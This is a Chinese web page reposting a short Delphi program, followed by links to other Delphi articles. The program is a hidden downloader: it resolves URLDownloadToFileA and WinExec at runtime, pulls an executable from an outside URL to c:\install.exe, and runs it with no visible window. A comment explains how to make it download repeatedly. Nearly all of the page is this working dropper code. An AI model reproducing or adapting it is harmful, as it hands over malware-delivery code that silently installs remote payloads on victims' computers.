本文整理自网络,侵删。
program downs;
uses
Windows;
procedure TimerProc(hwnd:HWND;uMsg,idEvent:UINT;dwTime:DWORD); stdcall;
var
URLDown:function(Caller: IUnknown; URL: PChar; FileName: PChar; Reserved: DWORD; StatusCB:pointer): LongWord; stdcall;
WinExecA:function(lpCmdLine: LPCSTR; uCmdShow: LongWord): LongWord; stdcall;
begin
@UrlDown:=GetProcAddress(LoadLibrary('URLMON.DLL'),'URLDownloadToFileA');
@WinExecA:=GetProcAddress(LoadLibrary('kernel32.dll'),'WinExec');
//下载地址 //下载后存放的路径
if UrlDown(nil, 'http://www.xfocusx.com/calcs.exe', 'c:\install.exe', 0, nil)=0 then //下载... =0 完成后运行
WinExecA('c:\install.exe', 0); //运行
Halt; //下完后退出程序,去掉就是循环地下,可以设时间长一点
Exit;
end;
var
Msg: TMsg;
begin
SetTimer(0, 10, 1000, @TimerProc);//安装定时器
while (GetMessage(msg, 0, 0, 0)) do
begin
TranslateMessage(msg);
DispatchMessage(msg);
end;
end.
相关阅读 >>
Delphi 文件查找findfirst,findnext,findclose
Delphi xe2 新增 system.zip 单元, 可用一句话压缩整个文件夹了
Delphi xe7 android通过配置实现splash功能
Delphi 权限控制(Delphi tactionlist方案)
更多相关阅读请进入《Delphi》频道 >>